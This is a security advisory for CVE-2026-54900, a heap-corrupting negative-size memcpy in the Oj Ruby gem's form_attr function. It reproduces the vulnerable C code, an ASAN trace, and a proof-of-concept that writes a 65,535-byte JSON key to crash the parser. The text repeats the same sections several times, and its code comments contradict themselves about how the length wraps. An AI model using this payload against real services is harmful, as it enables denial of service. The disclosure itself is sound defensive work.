CVE-2026-54900

Oj (Optimized JSON) is a JSON parser and Object marshaller packaged as a Ruby gem. In versions prior to 3.17.2, when in usual mode with create_id enabled, Oj::Parser#parse is vulnerable to heap corruption via a negative-size memcpy. When a JSON object key is exactly 65,535 bytes long, an integer truncation in form_attr (usual.c:63) converts the length to -1 before passing it to memcpy. This causes memcpy to copy SIZE_MAX bytes (interpreted as a huge size_t), corrupting heap memory and crashing the process. The issue has been fixed in version 3.17.2.

Oj (Optimized JSON) is a JSON parser and Object marshaller packaged as a Ruby gem. In versions prior to 3.17.2, when in usual mode with create_id enabled, Oj::Parser#parse is vulnerable to heap corruption via a negative-size memcpy. When a JSON object key is exactly 65,535 bytes long, an integer truncation in form_attr (usual.c:63) converts the length to -1 before passing it to memcpy. This causes memcpy to copy SIZE_MAX bytes (interpreted as a huge size_t), corrupting heap memory and crashing the process. The issue has been fixed in version 3.17.2.

Summary

Oj::Parser#parse in usual mode with create_id enabled is vulnerable to heap corruption via a negative-size memcpy. When a JSON object key is exactly 65,535 bytes long, an integer truncation in form_attr (usual.c:63) converts the length to -1 before passing it to memcpy. This causes memcpy to copy SIZE_MAX bytes (interpreted as a huge size_t), corrupting heap memory and crashing the process.

Version

• Software: oj gem
• Affected: all versions with ext/oj/usual.c
• Latest tested: 3.17.1 (confirmed present)

Details

ext/oj/usual.c, form_attr:

// usual.c:55–64
static ID form_attr(const char *str, size_t slen) {
    char        buf[4096];
    // ...
    int  blen = (int)slen + 1;    // ← truncates: 65535 + 1 = 65536 → wraps to 0
                                  //   or: 65535 cast to int = 65535 (fits),
                                  //   but blen = 65536 → INT overflow on +1 if slen=INT_MAX
    // ...
    memcpy(buf, "@", 1);
    memcpy(buf + 1, str, (size_t)blen);  // ← size_t(-1) = SIZE_MAX
}

The cache (cache_intern) uses a fixed 65,536-byte slab. When slen = 65535, the arithmetic wraps and memcpy is called with (size_t)-1.

ASAN report:

==80452==ERROR: AddressSanitizer: negative-size-param: (size=-1)
    #0 memcpy
    #1 form_attr          /ext/oj/usual.c:63
    #2 cache_intern       /ext/oj/cache.c:326
    #3 get_attr_id        /ext/oj/usual.c:186
    #4 close_object_create  /ext/oj/usual.c:374
    #5 parse              /ext/oj/parser.c:693
    #6 parser_parse       /ext/oj/parser.c:1408
0x531000528800 is located 0 bytes inside of 65536-byte region [0x531000528800, 0x531000538800)

Reproduce

Generate the payload:

key = 'A' * 65535
with open('poc.json', 'w') as f:
    f.write('{"json_class":"Oj::Bag","' + key + '":1}')

Trigger:

require 'oj'
Oj::Parser.new(:usual, create_id: 'json_class').parse(STDIN.read)

Oj (Optimized JSON) is a JSON parser and Object marshaller packaged as a Ruby gem. In versions prior to 3.17.2, when in usual mode with create_id enabled, Oj::Parser#parse is vulnerable to heap corruption via a negative-size memcpy. When a JSON object key is exactly 65,535 bytes long, an integer truncation in form_attr (usual.c:63) converts the length to -1 before passing it to memcpy. This causes memcpy to copy SIZE_MAX bytes (interpreted as a huge size_t), corrupting heap memory and crashing the process. The issue has been fixed in version 3.17.2.

Oj (Optimized JSON) is a JSON parser and Object marshaller packaged as a Ruby gem. In versions prior to 3.17.2, when in usual mode with create_id enabled, Oj::Parser#parse is vulnerable to heap corruption via a negative-size memcpy. When a JSON object key is exactly 65,535 bytes long, an integer truncation in form_attr (usual.c:63) converts the length to -1 before passing it to memcpy. This causes memcpy to copy SIZE_MAX bytes (interpreted as a huge size_t), corrupting heap memory and crashing the process. The issue has been fixed in version 3.17.2.

Summary

Oj::Parser#parse in usual mode with create_id enabled is vulnerable to heap corruption via a negative-size memcpy. When a JSON object key is exactly 65,535 bytes long, an integer truncation in form_attr (usual.c:63) converts the length to -1 before passing it to memcpy. This causes memcpy to copy SIZE_MAX bytes (interpreted as a huge size_t), corrupting heap memory and crashing the process.

Version

• Software: oj gem
• Affected: all versions with ext/oj/usual.c
• Latest tested: 3.17.1 (confirmed present)

Details

ext/oj/usual.c, form_attr:

// usual.c:55–64
static ID form_attr(const char *str, size_t slen) {
    char        buf[4096];
    // ...
    int  blen = (int)slen + 1;    // ← truncates: 65535 + 1 = 65536 → wraps to 0
                                  //   or: 65535 cast to int = 65535 (fits),
                                  //   but blen = 65536 → INT overflow on +1 if slen=INT_MAX
    // ...
    memcpy(buf, "@", 1);
    memcpy(buf + 1, str, (size_t)blen);  // ← size_t(-1) = SIZE_MAX
}

The cache (cache_intern) uses a fixed 65,536-byte slab. When slen = 65535, the arithmetic wraps and memcpy is called with (size_t)-1.

ASAN report:

==80452==ERROR: AddressSanitizer: negative-size-param: (size=-1)
    #0 memcpy
    #1 form_attr          /ext/oj/usual.c:63
    #2 cache_intern       /ext/oj/cache.c:326
    #3 get_attr_id        /ext/oj/usual.c:186
    #4 close_object_create  /ext/oj/usual.c:374
    #5 parse              /ext/oj/parser.c:693
    #6 parser_parse       /ext/oj/parser.c:1408
0x531000528800 is located 0 bytes inside of 65536-byte region [0x531000528800, 0x531000538800)

Reproduce

Generate the payload:

key = 'A' * 65535
with open('poc.json', 'w') as f:
    f.write('{"json_class":"Oj::Bag","' + key + '":1}')

Trigger:

require 'oj'
Oj::Parser.new(:usual, create_id: 'json_class').parse(STDIN.read)

Oj (Optimized JSON) is a JSON parser and Object marshaller packaged as a Ruby gem. In versions prior to 3.17.2, when in usual mode with create_id enabled, Oj::Parser#parse is vulnerable to heap corruption via a negative-size memcpy. When a JSON object key is exactly 65,535 bytes long, an integer truncation in form_attr (usual.c:63) converts the length to -1 before passing it to memcpy. This causes memcpy to copy SIZE_MAX bytes (interpreted as a huge size_t), corrupting heap memory and crashing the process. The issue has been fixed in version 3.17.2.